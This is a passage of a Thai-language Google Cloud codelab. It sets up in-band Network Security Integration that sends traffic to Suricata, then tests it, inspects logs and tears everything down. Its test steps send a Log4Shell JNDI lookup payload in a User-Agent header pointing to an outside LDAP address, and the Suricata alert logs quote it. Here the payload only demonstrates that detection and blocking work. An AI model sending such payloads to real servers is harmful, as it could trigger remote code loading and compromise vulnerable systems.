  1. สร้างการเชื่อมโยงกลุ่มปลายทางการสกัดกั้นโดยระบุ VPC ของผู้ใช้
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

ตรวจสอบ

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

ตัวอย่างเอาต์พุต

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

โปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย

จากนั้นคุณจะสร้างโปรไฟล์ความปลอดภัยที่กำหนดเองสำหรับการสกัดกั้นและแนบไปกับกลุ่มโปรไฟล์ความปลอดภัย โปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัยใช้สำหรับการสกัดกั้นแพ็กเก็ตสำหรับอุปกรณ์ของบุคคลที่สาม

  1. สร้างโปรไฟล์ความปลอดภัยที่กำหนดเอง
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

ตรวจสอบว่าสร้างโปรไฟล์ความปลอดภัยสำเร็จแล้ว

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

ตัวอย่างเอาต์พุต

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. สร้างกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

ตรวจสอบว่าสร้าง SPG สำเร็จแล้ว

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

ตัวอย่างเอาต์พุต

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

นโยบาย กฎ และการเชื่อมโยงไฟร์วอลล์

  1. สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. สร้างกฎไฟร์วอลล์
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. สร้างกฎไฟร์วอลล์เพื่อสกัดกั้นการรับส่งข้อมูลขาออกทั้งหมดโดยใช้ประโยชน์จาก NSI เพื่อส่งไปยังอุปกรณ์ของบุคคลที่สามอย่างโปร่งใส กฎนี้จะส่งการรับส่งข้อมูลขาออกทั้งหมดของ TCP:80 เพื่อตรวจสอบ
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

VM สำหรับผู้บริโภค

  1. ทำให้ใช้งานได้ VM ที่ใช้เพื่อตรวจสอบ NSI คุณจะทำให้ใช้งานได้ VM 3 รายการใน 3 โซน โปรดทราบว่ามีเพียง 2 โซนเท่านั้นที่เปิดใช้ NSI ในขณะที่ $zonec ไม่ได้เปิดใช้
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

การทดสอบการผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน

  1. SSH เข้าสู่ VM ใน $zonea (consumer-$zonea) ส่งการเข้าชมทดสอบ
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. ส่งการเข้าชมทดสอบไปยัง http://www.google.com
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

ผลลัพธ์ที่คาดไว้

200

รหัสสถานะ HTTP 200 แสดงว่าเซิร์ฟเวอร์ได้รับ เข้าใจ และประมวลผลคำขอของไคลเอ็นต์เรียบร้อยแล้ว

  1. ส่งคำขอ log4j ที่ควรถูกบล็อกโดย Suricata ผ่าน NSI
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

ผลลัพธ์ที่คาดไว้

000

โค้ดตอบกลับ HTTP 000 เป็นรหัสที่ไม่เป็นทางการและไม่ได้มาตรฐานซึ่งซอฟต์แวร์บางตัวใช้เพื่อระบุว่าไม่ได้รับรหัสสถานะ HTTP ที่ถูกต้อง ซึ่งอาจหมายความว่าไฟร์วอลล์บล็อกคำขอ

  1. กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
  1. SSH เข้าสู่ VM ใน $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. ในทำนองเดียวกัน ให้ส่งการเข้าชมทดสอบโดยทำดังนี้
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

ผลลัพธ์ที่คาดไว้

200
  1. ส่งคำขอ log4j
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

ผลลัพธ์ที่คาดไว้

000
  1. กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
  1. SSH เข้าสู่ VM ใน $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. ในทำนองเดียวกัน ให้ส่งการเข้าชมทดสอบโดยทำดังนี้
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

ผลลัพธ์ที่คาดไว้

200
  1. ส่งคำขอ log4j
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

ผลลัพธ์ที่คาดไว้

200

โปรดทราบว่าคำขอนี้ดำเนินการเรียบร้อยแล้ว สิ่งนี้เป็นเรื่องปกติเนื่องจากคุณไม่ได้กำหนดค่า NSI ด้วย $zonec กลุ่มอุปกรณ์ปลายทางการสกัดกั้นมีการเชื่อมโยงสำหรับ $zonea และ $zoneb เท่านั้น

  1. กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit

การตรวจสอบว่า Suricata ได้รับและบล็อกคำขอที่เป็นอันตราย

  1. ใช้ SSH ไปยัง VM ของ Suricata ใน $zonea (suricata-$zonea) เพื่อตรวจสอบบันทึกโดยใช้คำสั่งต่อไปนี้
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. ดูบันทึกโดยกรองตามประเภทการโจมตี
cat /var/log/suricata/eve.json | grep log4j

คุณอาจเห็นรายการบางรายการ หากไม่เห็นรายการใดๆ ให้ตรวจสอบบันทึกของ VM Suricata ใน $zoneb ตัวอย่างเอาต์พุต

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit

คุณเลือก SSH เข้าสู่ VM ของ Suricata ใน $zoneb (suricata-$zoneb) และตรวจสอบบันทึกได้

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

ดูบันทึกโดยกรองตามประเภทการโจมตี

cat /var/log/suricata/eve.json | grep log4j

ตัวอย่างเอาต์พุต

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

นอกจากนี้ การดักจับแพ็กเก็ตยังเป็นวิธีที่ดีในการดูและตรวจสอบการรับส่งข้อมูล

คำสั่งนี้จะกรองแพ็กเก็ต GENEVE ตัวอย่างคำสั่ง

sudo tcpdump -i any -nn udp port 6081

ตอนนี้ให้ส่งการเข้าชมทดสอบ 2-3 รายการจาก VM ของผู้บริโภค ตัวอย่างเอาต์พุต

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

โปรดทราบว่าคุณจะเห็นส่วนหัว GENEVE ได้ด้วย tcpdump IP ต้นทางคือ IP ของเกตเวย์ซับเน็ต (10.0.0.1) และ IP ปลายทางคือ IP ของกฎการส่งต่อ (10.0.0.11 หรือ 10.0.0.12) แพ็กเก็ตที่ห่อหุ้มจะมีแพ็กเก็ตเดิม ซึ่งก็คือ IP ไคลเอ็นต์ของ consumer-$zonea (192.168.0.2) หรือ consumer-$zoneb (192.168.0.3) และปลายทาง google.com ซึ่งเป็นการยืนยันว่ามีการสกัดกั้นแพ็กเก็ตและส่งไปยังอุปกรณ์ของบุคคลที่สามผ่านการผสานรวมความปลอดภัยของเครือข่าย

  1. กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit

ยินดีด้วย คุณได้ติดตั้งใช้งานและทดสอบสภาพแวดล้อมที่มีการผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ในช่องสัญญาณเดียวกันเรียบร้อยแล้ว

5. ล้าง

ผู้บริโภค

ลบ VM ผู้บริโภค

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

ลบการเชื่อมโยงและนโยบายไฟร์วอลล์

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ความปลอดภัย

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

ลบการเชื่อมโยงอุปกรณ์ปลายทางและกลุ่มอุปกรณ์ปลายทางที่สกัดกั้น

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

ลบ Cloud NAT, Cloud Router และ IP ที่สงวนไว้

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

ลบ VPC และซับเน็ต

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

ผู้สร้าง

ลบการทำให้ใช้งานได้ของการสกัดกั้น

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

ลบกลุ่มการทำให้ใช้งานได้ของการสกัดกั้น (การทำให้ใช้งานได้ของการสกัดกั้นต้องลบให้เสร็จก่อนที่คำสั่งนี้จะสำเร็จ)

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

ลบกฎการส่งต่อ

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

ลบ IP ที่สงวนไว้ของกฎการส่งต่อ

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

ลบบริการแบ็กเอนด์

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

ลบกลุ่มอินสแตนซ์ที่ไม่มีการจัดการ

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

ลบการตรวจสอบประสิทธิภาพการทำงาน

gcloud compute health-checks delete nva-hc -q

ลบ VM ของ Producer

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

ลบ Cloud NAT, Cloud Router และ IP ที่สงวนไว้โดยทำดังนี้

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

ลบการเชื่อมโยงนโยบาย FW

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

ลบนโยบาย FW

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

ลบ VPC และซับเน็ต

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. ยินดีด้วย

ขอแสดงความยินดี คุณทำ Codelab การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกันกับ Suricata เสร็จสมบูรณ์แล้ว

ดูวิดีโอสาธิตเฉพาะผู้ให้บริการในช่องสัญญาณเดียวกันของ NSI

Palo Alto Networks

Fortinet

ดูคู่มือการติดตั้งของผู้ให้บริการบางรายที่อาจเกี่ยวข้องกับองค์กรของคุณ

Palo Alto Networks

Fortinet

Checkpoint